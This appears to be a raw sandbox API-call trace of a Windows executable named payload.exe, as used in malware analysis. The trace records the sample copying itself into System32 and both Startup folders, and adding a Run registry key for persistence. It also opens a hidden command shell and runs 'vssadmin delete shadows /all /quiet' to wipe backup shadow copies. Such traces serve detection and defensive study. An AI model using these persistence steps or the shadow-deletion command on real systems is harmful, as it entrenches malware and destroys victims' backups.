GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6e7708, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\payload.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\payload.exe")) returned 0x23 [0036.788] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x6f7710 [0036.788] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x707718 [0036.788] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5288 [0036.788] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5288, Size=0x20) returned 0x6ce818 [0036.788] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ce818, Size=0x40) returned 0x6aa0c0 [0036.788] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6aa0c0, Size=0x80) returned 0x6d45a0 [0036.788] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d45a0, Size=0x100) returned 0x6d5f40 [0036.788] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.788] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d5f40 | out: hHeap=0x690000) returned 1 [0036.788] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\payload.exe", lpDst=0x6f7710, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\payload.exe") returned 0x20 [0036.788] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x707718 | out: hHeap=0x690000) returned 1 [0036.789] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6f7710 | out: hHeap=0x690000) returned 1 [0036.789] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x100000) returned 0x2438020 [0036.791] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5330 [0036.791] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5330, Size=0x20) returned 0x6ce958 [0036.791] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5210 [0036.792] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5210, Size=0x20) returned 0x6ce868 [0036.792] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0036.792] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0036.792] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0036.792] lstrlenW (lpString="kernel32.dll") returned 12 [0036.792] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce958 | out: hHeap=0x690000) returned 1 [0036.792] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.792] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce868 | out: hHeap=0x690000) returned 1 [0036.792] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\payload.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0036.792] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\payload.exe" (normalized: "c:\\windows\\system32\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0036.799] ReadFile (in: hFile=0x240, lpBuffer=0x2438020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2438020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0036.817] WriteFile (in: hFile=0x244, lpBuffer=0x2438020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2438020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0036.819] ReadFile (in: hFile=0x240, lpBuffer=0x2438020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2438020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0036.819] CloseHandle (hObject=0x244) returned 1 [0036.821] CloseHandle (hObject=0x240) returned 1 [0036.821] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5420 [0036.822] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5420, Size=0x20) returned 0x6cec28 [0036.822] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5258 [0036.822] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5258, Size=0x20) returned 0x6cebd8 [0036.822] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0036.822] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0036.822] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0036.822] lstrlenW (lpString="kernel32.dll") returned 12 [0036.822] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6cebd8 | out: hHeap=0x690000) returned 1 [0036.822] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.822] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6cec28 | out: hHeap=0x690000) returned 1 [0036.822] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x2438020 | out: hHeap=0x690000) returned 1 [0036.826] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d53c0 [0036.826] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d53c0, Size=0x20) returned 0x6ce9d0 [0036.826] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ce9d0, Size=0x40) returned 0x6a9fe8 [0036.826] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a9fe8, Size=0x80) returned 0x6d4a68 [0036.826] lstrlenW (lpString="C:\\WINDOWS\\System32\\payload.exe") returned 31 [0036.826] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0036.826] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x5c) returned 0x6a7cb0 [0036.826] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0036.826] RegSetValueExW (in: hKey=0x240, lpValueName="payload.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\payload.exe", cbData=0x3e | out: lpData="C:\\WINDOWS\\System32\\payload.exe") returned 0x0 [0036.827] RegCloseKey (hKey=0x240) returned 0x0 [0036.827] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a7cb0 | out: hHeap=0x690000) returned 1 [0036.827] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0036.827] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d4a68 | out: hHeap=0x690000) returned 1 [0036.827] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x6f7710 [0036.827] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x707718 [0036.827] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5270 [0036.827] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5270, Size=0x20) returned 0x6ce958 [0036.827] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ce958, Size=0x40) returned 0x6aa108 [0036.827] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6aa108, Size=0x80) returned 0x6d42f8 [0036.827] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d42f8, Size=0x100) returned 0x6d5f40 [0036.827] lstrlenW (lpString="") returned 0 [0036.827] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.827] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8c) returned 0x6d6048 [0036.827] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0 [0036.827] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x707718, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x707718*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0036.828] RegCloseKey (hKey=0x240) returned 0x0 [0036.828] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d6048 | out: hHeap=0x690000) returned 1 [0036.828] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.828] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8c) returned 0x6d6048 [0036.828] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0036.829] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x707718, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0036.829] RegCloseKey (hKey=0x244) returned 0x0 [0036.829] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d6048 | out: hHeap=0x690000) returned 1 [0036.829] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0036.829] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.829] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d5f40 | out: hHeap=0x690000) returned 1 [0036.829] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe", lpDst=0x6f7710, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe") returned 0x5a [0036.829] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x707718 | out: hHeap=0x690000) returned 1 [0036.829] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6f7710 | out: hHeap=0x690000) returned 1 [0036.830] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x100000) returned 0x243f020 [0036.832] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5378 [0036.832] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5378, Size=0x20) returned 0x6ce868 [0036.832] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d52b8 [0036.832] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d52b8, Size=0x20) returned 0x6cea48 [0036.832] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0036.833] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0036.833] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0036.833] lstrlenW (lpString="kernel32.dll") returned 12 [0036.833] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce868 | out: hHeap=0x690000) returned 1 [0036.833] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.833] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6cea48 | out: hHeap=0x690000) returned 1 [0036.833] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\payload.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0036.833] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0036.833] ReadFile (in: hFile=0x244, lpBuffer=0x243f020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x243f020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0036.842] WriteFile (in: hFile=0x248, lpBuffer=0x243f020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x243f020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0036.846] ReadFile (in: hFile=0x244, lpBuffer=0x243f020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x243f020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0036.846] CloseHandle (hObject=0x248) returned 1 [0036.851] CloseHandle (hObject=0x244) returned 1 [0036.851] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d53a8 [0036.851] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d53a8, Size=0x20) returned 0x6cebd8 [0036.851] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5258 [0036.851] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5258, Size=0x20) returned 0x6ceae8 [0036.851] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0036.851] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0036.851] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0036.851] lstrlenW (lpString="kernel32.dll") returned 12 [0036.851] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ceae8 | out: hHeap=0x690000) returned 1 [0036.851] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.851] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6cebd8 | out: hHeap=0x690000) returned 1 [0036.851] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x243f020 | out: hHeap=0x690000) returned 1 [0036.855] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x6f7710 [0036.856] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x707718 [0036.856] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d52a0 [0036.856] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d52a0, Size=0x20) returned 0x6cea48 [0036.856] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6cea48, Size=0x40) returned 0x6aa4f8 [0036.856] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6aa4f8, Size=0x80) returned 0x6d4ea8 [0036.856] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d4ea8, Size=0x100) returned 0x6d5f40 [0036.856] lstrlenW (lpString="") returned 0 [0036.856] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.856] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8c) returned 0x6d6048 [0036.856] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0036.856] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x707718, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0036.856] RegCloseKey (hKey=0x244) returned 0x0 [0036.856] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d6048 | out: hHeap=0x690000) returned 1 [0036.856] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0036.856] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.856] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d5f40 | out: hHeap=0x690000) returned 1 [0036.856] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe", lpDst=0x6f7710, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe") returned 0x49 [0036.856] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x707718 | out: hHeap=0x690000) returned 1 [0036.857] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6f7710 | out: hHeap=0x690000) returned 1 [0036.857] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x100000) returned 0x243e020 [0036.859] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5270 [0036.859] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5270, Size=0x20) returned 0x6cea48 [0036.859] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d53a8 [0036.859] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d53a8, Size=0x20) returned 0x6cea70 [0036.859] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0036.859] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0036.859] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0036.860] lstrlenW (lpString="kernel32.dll") returned 12 [0036.860] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6cea48 | out: hHeap=0x690000) returned 1 [0036.860] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.860] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6cea70 | out: hHeap=0x690000) returned 1 [0036.860] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\payload.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\payload.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0036.860] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0036.860] ReadFile (in: hFile=0x244, lpBuffer=0x243e020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x243e020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0036.891] WriteFile (in: hFile=0x248, lpBuffer=0x243e020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x243e020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0036.894] ReadFile (in: hFile=0x244, lpBuffer=0x243e020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x243e020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0036.894] CloseHandle (hObject=0x248) returned 1 [0036.895] CloseHandle (hObject=0x244) returned 1 [0036.896] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5210 [0036.896] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5210, Size=0x20) returned 0x6ce8b8 [0036.896] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5300 [0036.896] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5300, Size=0x20) returned 0x6ce958 [0036.896] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0036.896] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0036.896] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0036.896] lstrlenW (lpString="kernel32.dll") returned 12 [0036.896] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce958 | out: hHeap=0x690000) returned 1 [0036.896] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.896] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce8b8 | out: hHeap=0x690000) returned 1 [0036.896] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x243e020 | out: hHeap=0x690000) returned 1 [0036.900] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d7700 | out: hHeap=0x690000) returned 1 [0036.900] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6e7708 | out: hHeap=0x690000) returned 1 [0036.901] lstrlenW (lpString="%windir%\\System32") returned 17 [0036.901] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a9fa0 | out: hHeap=0x690000) returned 1 [0036.901] lstrlenW (lpString="%appdata%") returned 9 [0036.901] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce908 | out: hHeap=0x690000) returned 1 [0036.901] lstrlenW (lpString="%sh(Startup)%") returned 13 [0036.901] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce7f0 | out: hHeap=0x690000) returned 1 [0036.901] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0036.901] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa348 | out: hHeap=0x690000) returned 1 [0036.901] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5258 [0036.902] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5258, Size=0x20) returned 0x6ce8b8 [0036.902] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ce8b8, Size=0x40) returned 0x6aa420 [0036.902] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6aa420, Size=0x80) returned 0x6d41e8 [0036.902] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5270 [0036.902] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5270, Size=0x20) returned 0x6ce8e0 [0036.902] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x1fffc) returned 0x6d7700 [0036.902] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x6f7708 [0036.903] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x707710 [0036.903] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6d5210 [0036.903] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5210, Size=0x20) returned 0x6cec00 [0036.903] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6cec00, Size=0x40) returned 0x6aa660 [0036.903] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6aa660, Size=0x80) returned 0x6d40d8 [0036.903] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d40d8, Size=0x100) returned 0x6d5f40 [0036.903] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.903] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d5f40 | out: hHeap=0x690000) returned 1 [0036.903] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x6f7708, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0036.903] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x707710 | out: hHeap=0x690000) returned 1 [0036.903] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6f7708 | out: hHeap=0x690000) returned 1 [0036.904] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0036.905] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0036.905] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0036.911] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0036.911] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xdc4, dwThreadId=0xb98)) returned 1 [0037.158] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0037.158] WriteFile (in: hFile=0x24c, lpBuffer=0x6d41e8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x6d41e8*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0037.158] CloseHandle (hObject=0x25c) returned 1 [0037.158] CloseHandle (hObject=0x258) returned 1 [0037.158] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d7700 | out: hHeap=0x690000) returned 1 [0037.158] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0037.158] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d41e8 | out: hHeap=0x690000) returned 1 [0037.158] lstrlenW (lpString="%comspec%") returned 9 [0037.158] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce8e0 | out: hHeap=0x690000) returned 1 [0037.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0037.158] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6d52b8 [0037.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x6d52b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0037.159] 